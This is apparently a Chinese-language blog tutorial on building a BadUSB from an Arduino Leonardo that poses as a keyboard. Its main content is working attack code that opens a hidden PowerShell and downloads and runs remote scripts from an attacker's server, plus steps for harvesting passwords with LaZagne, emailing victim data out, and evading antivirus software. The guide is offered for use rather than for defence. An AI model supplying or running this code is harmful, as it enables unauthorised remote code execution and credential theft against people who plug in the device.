'BadUSB制作'
HID攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的Badusb利用的是虚拟键盘来实现恶意代码的执行。
硬件准备
(购买板子或购买有外壳的)
https://item.taobao.com/item.htm?spm=a1z09.2.0.0.3d1f2e8dNaX0hO&id=589099911512&_u=m2i3k6cqf473
https://m.tb.cn/h.eFDEFMN?sm=e737b6
函数介绍
Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup 函数和一个 loop 函数。程序启动,首先调用 setup,这个函
数只被调用一次,loop 函数会被不停的重复调用下去。
软件驱动准备
编译器Arduino IDE,Teensyduino驱动,arduino驱动
(百度云盘直接下载ZIP,解压即可使用)
链接:https://pan.baidu.com/s/16lDkrlxU9BpCD7kKgGhJng
提取码:onqg
驱动准备
Teensyduino安装,特别注意编译器版本需要在1.6.4以下
选择all安装
中途可能会出错,我重启下电脑就好了(没搞懂,报错说是不为管理员启动安装或杀毒软件运行)
可能这就是玄学重启吧
测试脚本
打开编译器,测试脚本(循环模式2秒写一个hello world)
void setup() {
// put your setup code here, to run once:
Keyboard.print(“Hello World”);
}
void loop() {
// put your main code here, to run repeatedly:
delay(2000); // 暂停2秒
Keyboard.print(“Hello World”); // 模拟键盘输入
先验证再上传
录入成功
替换其他脚本
为确保我们的脚本能够完美地发送包含目标主机信息的邮件,我们需要开启smtp邮箱服务。本处我使用的是QQ邮箱,开启方法如下:
进入邮箱,点击设置-账户
往下拉,开启前两个服务
此过程需要验证密保~
即可获得"授权码”(即后文提到的邮箱密码)此处的邮箱密码并不是指QQ密码
首先下载Badusb所需代码,代码已打包(见云盘链接)
修改2754行的IP地址为自己服务器IP
修改main.ps1的2903-2919行 为发送邮件配置
修改GetPass.ps1中的前两行,域名,Getpass.rar实际上是lazagne,用rar下载尽量避免触发安全软件,这个不放心可以百度下载。command.rar实为bat 因为 lazagne注入lsass时会被安全软件拦截,所以用bat避免注入。修改GetPass.ps1中的邮箱配置,同main.ps1中的就行
将修改后的文件(共四个)上传到公网服务器,如利用Xshell,FinalShell等工具直接拖拽上传
Arduino代码
1.打开Arduino IDE
2.工具->版->选择"Arduino Leonardo"
3,port选择COM3
void setup(){//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r’);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(“CMD”);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString(‘http://8.8.8.8/main.ps1’) ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r’);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(“CMD”);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString(‘http://8.8.8.8/payload.ps1’) ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {}
将代码中的8.8.8.8改为自己服务器IP
其实最主要的还是免杀。。。。。
总结
遇到困难不要轻易放弃,奥力给!百度/谷歌都是很好的帮手,另外思路要活。比如powershell默认设置是Restricted(脚本不能运行),但是我们可以打开 运行 ,通过它来运行powershell脚本而不是打开powershell运行脚本,还有就是最后被拦截一样,换个思路,不一定要免杀马那么复杂的东西,运用badusb的特性一样可以绕过。
扩展代码
通过修改x,y的值,可通过模拟鼠标点击,绕过沙雕腾讯电脑管家
1 | long basic; |
其他过狗代码,自行研究
1 | #include <Keyboard.h> |